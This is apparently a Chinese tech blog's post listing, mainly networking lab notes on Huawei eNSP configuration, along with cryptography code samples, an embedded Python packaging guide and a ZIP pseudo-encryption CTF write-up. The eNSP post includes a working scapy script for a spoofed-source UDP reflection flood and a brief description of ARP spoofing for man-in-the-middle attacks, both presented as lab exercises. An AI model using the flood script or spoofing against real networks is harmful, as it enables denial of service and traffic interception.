Cryptography公钥加密比私钥加密出现的晚私钥加密使用同一个密钥来加密和解密信息公钥加密使用两个密钥,一个密钥用于加密信息,另一个用来解密信息。公钥加密,私钥解密公钥加密,公钥不能解密私钥加密,私钥不能解密应用: 公钥加密,保密性 私钥加密:数字签名私钥需要安全保存(不通过网络传送)密钥公开加密速度慢,密文非紧凑可以与对称加密相结合RSA(Rivest-Shamir-Adleman)1977年由Ron Rivest、Adi Shamir和Len Adelman开发专利于2000年9月到期密钥长度在512~4096bit之间安全性基于大素数因子分解的困难性RSA比用软件实现的DES慢100倍.RSA比用硬件实现的DES慢1000倍RSA的主要功能∶加密、数字签名和密钥交换(加密散列、密钥)数字签名过程数字证书与CA简:主要用来证明这个公钥是不是你的,由CA权威机构通过数字证书去证明。MD5 Hash将一段数据(任意长度)经过一道计算,转换为一段定长的数据。不可逆性: 几乎无法通过Hash结果推导出原文,即无法通过x的Hash值推导出x。无碰撞性: 几乎没有可能找到一个y,使得y的Hash值等于x的Hash值。雪崩效应: 输入轻微变化,Hash输出值产生巨大变化 单向不可能从散列值推出原始数据。有的加密算法是可以被逆向破解而有的是破解不了的,就会有可逆和不可逆的说法,它们分为对称加密和非对称加密。不可逆加密不可逆向的最大特点就是不需要密钥,HMAC是需要的但还是不可逆常见的不可逆加密算法有 MD5、HMAC、SHA1SHA-224、SHA-256、SHA-384、SHA-512 统称SHA2加密算法SHA加密算法安全性比MD5的还要高可逆加密可逆加密算法有 DES、3DES、AES128、AES192、AES256 属于对称加密RSA、SM2、RS256 (采用SHA-256 RSA的签名)属于非对称加密Base64编码 不属于加密算法 只是一种编码MD5加密算法MD5 信息摘要算法(英语:MD5 Message-Digest Algorithm),一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。压缩性:无论数据长度是多少,计算出来的MD5值长度相同容易计算性:由原数据容易计算出MD5值抗修改性:即便修改一个字节,计算出来的MD5值也会巨大差异抗碰撞性:知道数据和MD5值,很小概率找到相同MD5值相同的原数据package main import ( "crypto/md5" "fmt" ) func Calcmd5(cont string) string { data := []byte(cont) has := md5.Sum(data) md5str := fmt.Sprintf("%x", has) return md5str } func main() { sum := Calcmd5("go") fmt.Println(sum) }HMAC算法HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,由H.Krawezyk,M.Bellare,R.Canetti于1996年提出的一种基于Hash函数和密钥进行消息认证的方法,并于1997年作为RFC2104被公布,并在IPSec和其他网络协议(如SSL)中得以广泛应用,现在已经成为事实上的Internet安全标准。它可以与任何迭代散列函数捆绑使用。package main import ( "crypto/hmac" "crypto/sha512" "encoding/base64" "fmt" ) func ComputHmacSha512(message string, secret string) string { data := []byte(secret) hmacd := hmac.New(sha512.New, data) hmacd.Write([]byte(message)) return base64.StdEncoding.EncodeToString([]byte(hmacd.Sum(nil))) } func main() { ret := ComputHmacSha512("123", "dGhpcyBpcyBhIGtleQ==") fmt.Println(ret) }SHA系列安全散列算法(英语:Secure Hash Algorithm,缩写为SHA)是一个密码散列函数家族,是FIPS所认证的安全散列算法。能计算出一个数字消息所对应到的,长度固定的字符串(又称消息摘要)的算法。且若输入的消息不同,它们对应到不同字符串的机率很高。SHA-1加密算法有碰撞的可能性,虽然很小。package main import ( "crypto/sha256" "encoding/hex" "fmt" ) func GetSha256(str string) string { srcByte := []byte(str) sha256New := sha256.New() sha256Bytes := sha256New.Sum(srcByte) sha256String := hex.EncodeToString(sha256Bytes) return sha256String } func main() { ret := GetSha256("123") fmt.Println(ret) }Base64编码package main import ( "encoding/base64" "fmt" ) func Base64Encoding(str string) string { src := []byte(str) res := base64.StdEncoding.EncodeToString(src) return res } func Base64Decoding(str string) string { res, _ := base64.StdEncoding.DecodeString(str) return string(res) } func main() { src := "FanOne" res := Base64Encoding(src) fmt.Println("FanOne 编码成为:", res) ret := Base64Decoding(res) fmt.Println(res, "解码成为:", ret) }TEA加密#include <stdio.h> void encrypt(unsigned int *v, unsigned int *k) { unsigned int v0 = v[0], v1 = v[1], sum = 0; unsigned int delta = 0x9e3779b9; for (int i = 0; i < 32; i++) { sum += delta; v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); } v[0] = v0; v[1] = v1; } void decrypt(unsigned int *v, unsigned int *k) { unsigned int v0 = v[0], v1 = v[1], sum = 0xC6EF3720; unsigned int delta = 0x9e3779b9; for (int i = 0; i < 32; i++) { v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); sum -= delta; } v[0] = v0; v[1] = v1; } int main() { unsigned int v[2] = {6, 9}, k[4] = {1, 2, 3, 4}; printf("Original data: %u %u\n", v[0], v[1]); encrypt(v, k); printf("Encrypted data: %u %u\n", v[0], v[1]); decrypt(v, k); printf("Decrypted data: %u %u\n", v[0], v[1]); return 0; }
2022年11月14日
64 阅读
0 评论
4 点赞
2022-11-03
【网络通信】eNSP 学习记录
静态路由实验实验拓扑图实验目的实现静态路由R1和R5进行通信配置命令// R1路由器配置 system-view // 进入系统视图 interface g0/0/0 // 进入接口 ip address 192.168.1.1 24 // 配置ip地址,命令相同配置好其它路由器 //先配置R1到R3 ip route-static 192.168.2.0 24 192.168.1.2 // 指定到 192.168.2.0 从 192.168.1.2 出去 现在我们可以过去了但需要回来所以要在R3里配置 回来的静态路由 ip route-static 192.168.1.0 24 192.168.2.2 // 这是回来的路由配置 命令相同修改下配置下面机个路由器即可 实验效果用户登录实验官方介绍华为的super 命令设置的口令用于低级别用户向高级别用户切换时进行验证,类似于 UNIX 系统和 Linux 系统中从普通用户转换到 root 帐户时须输入 super 进行切换。华为网络设备的命令级别共分为 4 级,分别为访问级( 0 级)、监控级( 1 级)、系统级( 2 级)和管理级( 3 级),当低级别用户向高级别切换时. 输入命令 super [level],此时如果设置了super 的password,则只有验证通过后切换才能实现 。super 的口令配置也有明文和暗文两种方式,具体命令为 super password simple ( 明文 ),super password cipher ( 暗文 ) 。如果用户想要实现对通过 console 、 telnet 或 web 方式访问华为交换设备的身份验证,则需要在相应的虚拟端口配置验证信息。(1) console访问 方式:需要在 user-interface con 0 模式下配置 authentication-mode 。(2) ssh、telnet访问 方式:需要在 user-interface vty 0 4 模式下配置 authentication-mode 。(3) web访问 方式:需要启用 web 管理服务,并要有 local-user 配置的用户和密码。console口配置user-interface console 物理接口 // 只有一个 0 ~ 4 默认不认证 vty 虚拟接口 // 自己定义想多少就多少0 默认认证 password 默认的权限是3 //没有修改的情况下 user-interface console 0 // 进入console口 user privilege level 0 // 修改等级 // 完整代码 <Huawei>system-view // 进入系统视图 [Huawei]aaa // 进入3a认证 [Huawei-aaa]local-user jw1201 privilege level 0 password cipher 123456 // 配置两条命令 [Huawei]user-interface console 0 // 进入console [Huawei-ui-console0]authentication-mode aaa // 修改认证模式aaa // 默认的认证模式是不认证 [Huawei-ui-console0]q // 退出 [Huawei]q // 退出 <Huawei>super 3 // 进入等级不够只能使用用户视图,跳到3等级 无密码直接进入 [Huawei-aaa]local-user jw1201 password cipher 123456 [Huawei-ui-console0]authentication-mode aaa // 更改验证模式 配置telnet用Telnet远程进入到交换机的端口中 [Router]user-interface vtycipher 用于对密码加密方式,输入时密码时,命令行不显示密码privilege level 用于给与此用户拥有的权限等级(等级为0-15,15为最高权限)service-type telnet 表示此用户用于Telnet服务创建用户命令:[Router-aaa]local-user 创建的用户名 password cipher 密码权限设置命令:[Router-aaa]local-user 需要修改权限的用户名 privilege level 权限等级[Huawei]user-interface vty 0 1 // 进入虚拟接口 [Huawei-ui-vty0-1]authentication-mode aaa // 修改模式为3a [Huawei-aaa]local-user jw1201 privilege level 3 password cipher 123456// 一行代码设置登录账号密码和等级 [Huawei-aaa]local-user jw1201 service-type telnet // 设置用户服务类型 [Huawei-aaa]q // 退出 [Huawei]telnet server enable // 开启telnet服务配置ssh// 生成rsa密匙:rsa local-key-pair create [server]rsa local-key-pair create // 服务器配置vty用户界面,设置验证方式为aaa,指定协议为ssh [server]user-interface vty 0 4 [server-ui-vty0-4]authentication-mode aaa [server-ui-vty0-4]protocol inbound ssh // 在aaa视图创建ssh用户huawei密码huawei123 [server]aaa [server-aaa]local-user huawei service-type ssh [server-aaa]local-user huawei password cipher huawei123 // 设置ssh用户的认证为密码 [server]ssh user huawei authentication-type password // 开启stelnet服务,默认关闭 server]stelnet server enable [Huawei]dis ssh user-information // 查看是否开启ssh // 接下来在客户端尝试连接 // 第一次登陆需要开启ssh认证 [client]ssh client first-time enable // 连上后,ssh用户的权限连系统视图都无法进入。 // 再给ssh用户huawei增加权限!(当然在添加用户时就可以配置) [server]aaa [server-aaa]local-user huawei privilege level 15 //这里给的最高权限VLAN通信实验实验拓扑图实验目的实现不同vlan之间的通信。首先要知道不同vlan之间的主机是无法实现通信的,所以必须通过三层路由设备进行路由转发才能将报文从一个vlan转发到另一个vlan。vlan技术可以将一个大的局域网划分成多个小局域网,并且隔离了广播域,使不同广播域的用户不能进行通信。有三种方式:路由器物理接口实现路由子接口进行实现VLAN IF技术实现实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 交换机配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-sw1 // 改个名字 [actdream-sw1]undo info-center enable // 关闭提示信息 [actdream-sw1]vlan batch 10 20 // 创建vlan 10 20 [actdream-sw1]int e0/0/2 // 进入e0/0/2接口 [actdream-sw1-Ethernet0/0/2]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/2]port default vlan 10 // 配置接口属于vlan10 [actdream-sw1]int e0/0/3 // 进入e0/0/3接口 [actdream-sw1-Ethernet0/0/3]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/3]port default vlan 20 // 配置接口属于vlan20 [actdream-sw1]int e0/0/1 // 进入e0/0/1接口 [actdream-sw1-Ethernet0/0/1]port link-type trunk // 配置接口为trunk [actdream-sw1-Ethernet0/0/1]port trunk allow-pass vlan all // 允许所有的vlan通过 // 路由器配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/0.1 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.1]ip add 192.168.1.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.1]dot1q termination vid 10 // 封装下给vlan10 [actdream-ar1-GigabitEthernet0/0/0.1]arp broadcast enable // 开启arp广播功能 [actdream-ar1]int g0/0/0.2 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.2]ip add 192.168.2.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.2]dot1q termination vid 20 // 封装下给vlan20 [actdream-ar1-GigabitEthernet0/0/0.2]arp broadcast enable // 开启arp广播功能2.配置好了尝试PC1 ping PC2 可以看见是能通信的。实验效果RIP动态路由实验实验拓扑图实验目的实现动态路由不同网段间的通信。rip协议,通过启用rip协议,路由器可以更好的学习相邻的路由表,更好的适应多变且庞大的网络环境。实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 路由器ar1配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/1 // 进入接口 [actdream-ar1-GigabitEthernet0/0/1]ip add 192.168.1.254 24 // 配置网关地址 [actdream-ar1-GigabitEthernet0/0/1]int g0/0/0 // 进入接口 [actdream-ar1-GigabitEthernet0/0/0]ip add 192.168.3.1 24 // 配置R1与R2路由器通信的ip [actdream-ar1]rip // 启用rip [actdream-ar1-rip-1]network 192.168.1.0 // 宣告网段 [actdream-ar1-rip-1]network 192.168.3.0 // 宣告网段 // 路由器ar2配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar2 // 改个名字 [actdream-ar2]int g0/0/1 [actdream-ar2-GigabitEthernet0/0/1]ip add 192.168.2.254 24 // 配置网关地址 [actdream-ar2]int g0/0/0 // 进入接口 [actdream-ar2-GigabitEthernet0/0/0]ip add 192.168.3.2 24 // 配置R2与R1路由器通信的ip [actdream-ar2]rip // 启用rip [actdream-ar2-rip-1]network 192.168.3.0 // 宣告网段 [actdream-ar2-rip-1]network 192.168.2.0 // 宣告网段实验效果PC相同IP MAC实验这种情况基本不可能有的,局域网内不可能有相同的IP和MAC,当然要是有人想改那就不一样了,对了就是改IP地址和MAC地址,一开始我在想会发生什么,直到我实验了下发现都能通信!!在Windows上改IP和MAC都是自带的,网上也有很多这样的工具。实验拓扑实验步骤1.三台PC机我都手动配置了IP地址,接下来就到交换机看一下。2.到交换机的终端面板,进入视图输入 dis mac-add 查看交换机的mac缓存表,什么都没有,那是因为我们还没ping 对方,所以并不会广播寻找对方就没有mac缓存表了。3.现在我们用PC3 ping PC2,交换机就会用ARP协议广播问谁是192.168.10.1 请把你的mac地址告诉我,这个时候是192.168.10.1的主机就会把mac给交换机,然后交换机建立mac表,进行通信。4.这个时候我们查交换机的mac表,就会多出两条mac地址。5.我把两台PC机的mac和ip改成相同的,两台PC机同时ping PC2,观察抓包和交换机的mac地址表的变化。6.可以发现两台PC电脑都是可以通信的,要是刷新交换机mac地址显示的话,你会发现接口一下变成e0/0/1接口一下又变成e0/0/3接口,这说明交换机两边都在回应,但这样也不影响我们通信,最多会掉一个包,看视频什么的没任何压力,玩游戏的话有可能会卡一下吧。总结如果内网出现大量的PC伪装成一台电脑的IP和mac,会导致对方的包不断回复给别的主机,导致对方PC断网(自己的想法)。ARP协议这款缺陷比较大,利用好直接玩转局域网,像上面的广播问谁是192.168.10.1 这个时候,要是别人一直发响应包给交换机,说我就是PC2 mac地址是这个,那么别人就会找伪装成PC2与你通信,欺骗网关还能当中间人对吧,流量都从你的电脑经过。DHCP地址分配实验DHCP代理通过三层交换机做中继,获取路由器上dhcp IP地址池,分发给下面的PC机,个人理解有误请指正。实验拓扑实验步骤// AR1 配置 sys // 进入系统模式 dhcp enable // 开启dhcp ip pool vlan10 // 创建vlan10 ip地址池 network 192.168.10.0 mask 24 gateway-list 192.168.10.254 dns-list 8.8.8.8 ip pool vlan20 // 创建vlan20 ip地址池 network 192.168.20.0 mask 24 gateway-list 192.168.20.254 dns-list 8.8.8.8 int g0/0/0 // 配置接口ip ip add 192.168.80.2 26 dhcp select global // 开启全局dhcp ip route-static 0.0.0.0 0 192.168.80.1 // 添加一条静态路由1.先全部设备都开机,好了进路由器配置下dhcp ip地址池,给G0/0/0配置IP地址。// LSW2 配置 sys // 进入系统视图 dhcp enable // 开启dhcp vlan batch 10 20 50 // 创建vlan int vlan 10 // 进入vlan10 ip address 192.168.10.254 255.255.255.0 // 配置分发的ip dhcp select relay // 模式选择relay dhcp relay server-ip 192.168.80.2 // 指定的ip是 g0/0/0 接口上配置的ip int vlan 20 // 相同给vlan20 也配上 ip address 192.168.20.254 255.255.255.0 dhcp select relay dhcp relay server-ip 192.168.80.2 int vlan 50 // 再进入vlan50 配置ip要和g0/0/0接口配置的ip在一个网段内才行。 ip add 192.168.80.1 26 int g0/0/2 // 进入接口 port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过2.再到三层交换机LSW2上配置下中继,给 g0/0/2 接口配置 trunk 模式。// LSW1 配置 sys // 进入系统模式 int g0/0/1 // 配置g0/0/1 与 g0/0/2 一致使用trunk port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过 int g0/0/2 // 交换机下的接口都配置成access模式就行 port link-type access // 配置接口类型 access port default vlan 10 // 把vlan10加入接口 int g0/0/3 port link-type access // 配置接口类型 access port default vlan 20 // 把vlan20加入接口3.到这里就已经可以自动分配ip地址了,我们到pc机上把dhcp打开让它自动获取。效果1.查看ip地址都有,现在双方都ping一下,可以看到两台PC都可以互相通信的。DHCP分配最简单的dhcp自动分配地址,用接口配置的网关进行分配。实验拓扑实验步骤sys // 进入系统视图 dhcp enable // 开启dhcp功能 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 配置默认网关 dhcp select interface // 选择dhcp接口分配1.到路由器设置下dhcp服务,让他充当dhcp服务器,往下面分配ip地址。2.现在到PC机上设置自动获取,这个时候就可以拿到地址了。3.我们看一下获取成功,这是最简单的一种办法了。OSPF路由实验OSPF相关知识OSPF一种动态路由协议,能动态学习到其他网段的路由。1.无环路:区域内部采用树形算法;区域间采用星型拓扑2.收敛快:相比于其他路由协议能更快速的收敛网络3.扩展性好:当网络规模扩大的时候, OPSF支持多区域可以将一些设备划分在一个区域4.支持认证:增加了网络的安全性实验拓扑实验步骤// AR2 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 192.168.10.254 24 // 配置192.168.10.1网段的路由网关 int g0/0/0 // 进入接口 ip add 200.10.20.1 24 // 配置 AR2路由器 与 AR3 之间通信的ip地址 (要在同一网段)// AR3 配置 sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.20.2 24 // 配置 AR3路由器 与 AR2 之间通信的ip地址 int g0/0/1 ip add 200.10.30.1 24 // 配置 AR3路由器 与 AR4 之间通信的ip地址 (要在同一网段)// AR4 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.30.2 24 // 配置 AR4路由器 与 AR3 之间通信的ip地址 int g0/0/2 // 进入接口 ip add 192.168.20.254 24 // 配置192.168.20.1网段的路由网关1.我先把路由器的ip地址和pc的ip地址都配置一下,pc机的网关要填对哦。// AR2 配置 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 看AR2路由器有两个线一头是 192.168.10.254 network 200.10.20.0 0.0.0.255 // 另一头是 200.10.20.0 直接进行宣告就行// AR3 配置 // 下面的操作都是一样的,改下宣告的网段就行 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.255// AR4 配置 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2552.现在到路由器里配置ospf,进入ospf视图里用 network 命令宣告网段,这里填的是网段加子网掩码的反码,到这里就已经配置好了ospf路由了,可以在路由器里用效果1.测试下能不能ping通对方,可以看到都是没问题的。链路聚合实验简介链路聚合的作用 :把多个物理接口绑定成一个逻辑接口,对于带宽何链路的可靠性做提升,若其中一端口出现故障,则该成员端口的流量就会切换到成员链路中去。保障了网络传输的可靠性。简单来说就是多连两根线,把这些线都绑定到一个逻辑接口上,要是其中有一条线出问题了,那么另外一条线就会自动补上,不影响网络的通信。实验拓扑实验步骤// LSW5 配置 sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 1 // LSW6 配置 (相同的) sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 11.先到交换机上配置下链路聚合,把它加到这三根线上。2.配置好再到交换机用 dis trunkmembership eth-trunk 1 这条命令看下状态,可以看到有两条线是开的,一条线是关的。int e0/0/2 // 进入e0/0/2接口 shutdown // 关闭接口 undo shutdown // 启动接口3.我们尝试关闭e0/0/2接口,看看e0/0/3会不会自动补上,进入e0/0/2 输入shutdown 接口就关闭了,和我想的一样自动补上了,看到e0/0/3 状态从down 切换到了 up 状态。效果1.关掉了其中一个接口,没有影响到他们的的通信,一个包都没丢。端口安全实验简介简单来说在公司的网络环境中,为了防外部人员接入公司内部网络,在交换机上给端口都绑定上指定PC的Mac地址,防止非法计算机接入。实验拓扑实验步骤1.PC机上我都手动配置好了IP地址,现在用PC机互相Ping让交换机学习下Mac地址建立mac表。2.到交换机使用 dis mac-add 查看mac地址表,发现三台PC机都有了。3.这里为了演示我就给PC1绑定下MAC地址,其他的PC都是一样的操作。sys // 进入系统视图 int e0/0/1 // 进入接口 port-security enable // 开启端口安全 port-security mac-address sticky port-security mac-address sticky 5489-9865-40F1 vlan 1 // 绑定mac4.没改PC1 Mac地址 尝试 ping PC2,毫无疑问是可以通信的。5.现在改下Pc1的mac地址,看下能不能通信。6.改完之后很显然是不能通信实验成功。VLAN隔离实验简介简单的来说,IP地址是否属于同一子网络是根据子网掩码来决定的,如果两台PC的IP地址是一个网段的话那么可以正常通信,要是我想实现一个网段的但又不想让他们互相通信,那怎么办呢这里就要用到vlan技术了,他可以实现对IP逻辑上的隔离。实验拓扑实验步骤1.比较简单,这里就全设置了下创建了两个vlan 10 和 20, 并把vlan加入四台PC机指定的端口上。sys // 进入系统视图 vlan batch 10 20 // 批量创建vlan interface Ethernet0/0/1 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/2 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/3 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里 interface Ethernet0/0/4 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里2.PC1 ping PC2 可以发现是通的,他们是属于vlan 10 的所以可以,要是PC1 ping PC3 就不行了。 3.这就是vlan的隔离,不配置vlan 是可以通信的,因为是一个网段的。动态NAT实验简介简单来说,当我们访问公网某台服务器时,我们内网IP要从路由器出去利用NAT技术,将内网IP转换为公网IP进行访问,当数据到达公网的服务器上给我们做返回,就会把数据发给转换的公网地址,让他找到内网发数据的主机传达给他,这样就实现了内网和外网的通信,IPv4本来已经枯竭了,就是有这项技术还是在用IPv4。实验拓扑实验步骤1.老规矩先手动配置下PC机的IP地址好通信。2.上AR2路由器上配置两端的接口,让路由器之间可以互相通信。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.2 24 // 给公网接口添加IP地址 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 给内网接口添加IP地址3.再配置下OSPF宣告一下网段,让他们之间可以通信。(我的思路是这样)ospf // 进入ospf area 0 // 区域设置 0 network 192.168.10.0 0.0.0.255 // 宣告内网网段 network 200.10.10.0 0.0.0.25 // 宣告公网网段4.配置好了OSPF就可以通信了,但这里出去的地址是内网地址,我们抓包看下ICMP出去的IP地址。5.可以看到出路由器的地址是内网IP,在现实环境中那是不可能的,所以这里要做动态NAT地址转换。nat address-group 1 200.10.10.3 200.10.10.10 // 创建地址组 设置公网分配范围 acl 2000 // 进入基本acl rule permit source 192.168.10.0 0.0.0.255 // 创建规则 int g0/0/1 // 进入接口 nat outbound 2000 address-group 1 no-pat // 把出口 200与ip组绑定 配置在接口上6.配置好再抓包ping 公网发现内网IP转换为公网IP地址了。静态NAT实验简介简单来说就是内网有一台服务器或者多台,需要让公网访问的到这时就要用到静态NAT技术把内网映射到公网上。实验拓扑实验步骤1.老规矩先手动配置下服务器和PC机的IP地址 好进行通信,这里的标签我写错了AR3下面G0/0/0,现改成 200.10.20.254。2.先到AR2路由器里配置下两端的IP地址,加上OSPF建立下邻居关系。sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.10.2 24 // 添加IP地址 int g0/0/1 ip add 192.168.10.254 24 int g0/0/2 ip add 8.8.8.1 24 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 宣告网段 network 200.10.10.0 0.0.0.25 network 8.8.8.0 0.0.0.2553.然后再到AR3路由器里配置下,接口通信的IP地址,加上OSPF宣告下网段。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.1 24 // 配置ip地址 ospf area 0 network 200.10.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2554.配置好基本上内网服务器能ping通外网了,现在给AR2路由器做下静态NAT。5.再到dns服务器上,添加下内网服务器映射的公网IP与域名进行绑定,好了之后记得把服务器都启动起来。6.再去 Client1上配置好DNS地址,可以自己测试 ping dns 看看能不能通信。7.全都配置好后,就可以获取内网服务器的服务数据了。ACL访问控制实验简介ACL是访问控制列表,它是一种包过滤防火墙,路由器和交换机接口的指令列表,有了它可以实现数据包出入的控制,它分为基本acl和高级acl,这里就实现个基本acl。实验拓扑实验步骤1.手动配置下IP地址和网关,这样才可以进行通信。2.进入AR1路由器给两边的接口,配置下IP地址先然后它们就可以通信了。3.有PC1 ping PC2 发现是可以通信的,接下来配置下基本acl阻止PC1与PC2之间的通信。acl 2000 // 配置基本acl rule 15 deny source 192.168.10.0 0.0.0.255 int g0/0/0 // 进入接口 traffic-filter outbound acl 2000 // 配置出站过滤4.配置好acl,在里面添加网段 192.168.10.0,阻止这所有的主机,当然也可以指定IP地址了。5.配置好后尝试ping,发现不能通信了实验成功。FTP文件上传实验简介FTP服务器,是在互联网上提供存储空间的计算机,它们依照FTP协议提供服务,全称是File Transfer Protocol(文件传输协议),简单的来说,就是一台服务器专门用存储文件的也可以用来共享。实验拓扑实验步骤1.老规矩先手动配置下IP地址,这样才能通信。2.再配置下路由器旁边的接口ip地址。int g0/0/0 // 进入接口 ip add 192.168.2.254 24 // 配置FTP服务器网关 int g0/0/1 // 进入接口 ip add 192.168.3.254 24 // 配置设备网关3.再到FTP服务器设置面板,选择文件路径并开启FTP服务器。4.好了之后,使用Client1 ping ftp服务器看看能不能通信,可以看到是可以的。ftp 192.168.2.3 User(192.168.2.3:(none)):act // 第一次会让你配置下账号密码 331 Password required for act . Enter password: // 输入密码5.再回到路由器连接下FTP服务器,配置下账号和密码。6.然后输入在路由器更改的账号和密码,用设备进行登录就成功了,就可以上传文件和下载文件了。UDP反射攻击实验简介UDP 反射攻击的基本原理是,攻击者发送伪造的 UDP 请求数据包到反射主机,并将源 IP 地址伪造为受害主机的地址,反射主机接收请求后,会将数据包转发给受害主机,这样就能对受害主机进行拒绝服务攻击,当然你可以批量的反射那么就有多台主机进行攻击。实验拓扑这里只是拿eNSP打个比方,服务并没开UDP 53端口,所以攻击不成立,对方必须开启UDP 端口,你才能进行反射攻击。通过发起攻击抓包可以发现,反射的 1.2 PC 与 1.4 主机,都进行发送响应给 1.3 PC 主机,实验目的达成。UDP反射代码import threading from scapy.all import * payload = '0' * 1400 # 构造一个长度为 1400 字节的字符串 def send_packet(src_ip): packet = IP(src="192.168.1.3", dst=src_ip) / \ UDP(dport=53, sport=RandShort()) / \ Raw(load=payload) send(packet) hosts = ["192.168.1.2", "192.168.1.4"] while True: for src_ip in hosts: t = threading.Thread(target=send_packet, args=(src_ip,)) t.start() t.join()
2022年11月03日
654 阅读
0 评论
124 点赞
2022-11-02
此内容被密码保护
加密文章,请前往内页查看详情
2022年11月02日
186 阅读
0 评论
11 点赞
2022-11-02
【技术分享】Python3 嵌入式打包
简介在打包软件一般都是用pyinstaller这个工具,但它满足不了我们的要求,有时候还会出很多问题,官方特意给我门提供一个内嵌打包的Python环境。Python是一门解释语言,打包也会带有一个解释器,别人运行了你打包好的exe,就会在他计算机内释放解释器,然后用解释器执行脚本(简单说)。而内嵌式打包是官方给我提供的一个Python解释器,这里他除去了很多不必要的东西,相当于是绿色版Python特别方便。安装步骤1.首先先到 Python官网 https://www.python.org 在页面中找到Downloads选择Windows点进去。2.这里建议下载的python不要使用最新版,因为很多库都是没有更新到容易出错,这里我选择下载 Windows embeddable package (32-bit)。3.下载好了后将里面的文件解压出来,在里面新建一个名为 get-pip.py 文件。4.打开 get-pip.py 将这个网站 https://bootstrap.pypa.io/get-pip.py 的内容复制到文本里保存。5.用终端进入解压python的目录里,输入 python get-pip.py (记住一定要在这个解压的python根目录下),这个时候就会从官方那里下载两个文件夹,一个是Lib通过pip下载的第三方模块都在这里面,另一个Scripts是脚本里面包含了pip一些工具。python get-pip.py 6.找到.pth后缀文件,# import site 这行的注释 # 去掉然后保存就可以了。7.在根目录里启动终端输入Python,发现可以使用了尝试导入第三方库 requests库,发现报错了那是因为我们没有安装。8.现在去Scripts文件夹下启动终端,输入pip install request回车,下载好的第三方库都会下载到Lib文件夹内。pip install requests9.再次启动终端输入Python,再次导入模块发现已经可以用了,这个时候你写的Python源码可以放在这里面,再写个bat批处理一键运行,就可以发给别人了~@echo off chcp 65001 .\ws\python.exe test.txt pause
2022年11月02日
165 阅读
0 评论
8 点赞
2022-11-01
【CTF解题】ZIP压缩包伪加密
简介什么是压缩包伪密码?其实就是给一个没有设置密码的压缩包加上密码,不过这个密码不是手打的,而是通过进制修改的,其实压缩包并没有加密,只是伪造了加密的假象,打开后会提示你输入密码才能解压文件,不管怎么爆破也是没用的,因为本来就没有密码。实现步骤1.这里我创建了一个3.txt文本文档,内容写了 hey actdream!。2.这里要选择zip压缩,没有加密码直接压缩到桌面上。3.可以看到压缩包里的文件是没有密码的,现在我用Winhex打开工具可以网上下载,010Editor都是可以的。4.这两块区域都有 14 00 它是解压文件需要的pkware版本,后面接的 00 00 就是全局方式位标记,改成09 00就会提示密码了。5.只需要修改最后一组,然后保存再打开发现需要密码了,这种情况只能该会 00 00 就不需要密码了。解密import os def modify_file(path): if not os.path.exists(path): print("路径不存在") return with open(path, 'rb+') as file: data = file.read() modified_data = data.replace(b'\x14\x00\x09', b'\x14\x00\x00') if modified_data != data: file.seek(0) file.write(modified_data) file.truncate() print("文件修改成功") else: print("未找到需要修改的字节") content = input("请拖入路径:") if content.strip() != "": modify_file(content)结构区分无加密压缩源文件数据区的全局加密应当为00 00且压缩源文件目录区的全局方式位标记应当为00 00伪加密压缩源文件数据区的全局加密应当为00 00且压缩源文件目录区的全局方式位标记应当为09 00真加密压缩源文件数据区的全局加密应当为09 00且压缩源文件目录区的全局方式位标记应当为09 00视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/11/2727767437.mp4"/}总结第一个全局方式位标记: 结果会出现不会出现zip伪加密。第二个全局方式位标记 ( 修改为09 00 只要是奇数就行 ) : 只要末位是奇数,就代表加密,反之末位是偶数代表未加密。修改zip文件头(50 4B 03 04)修改成其他数据: 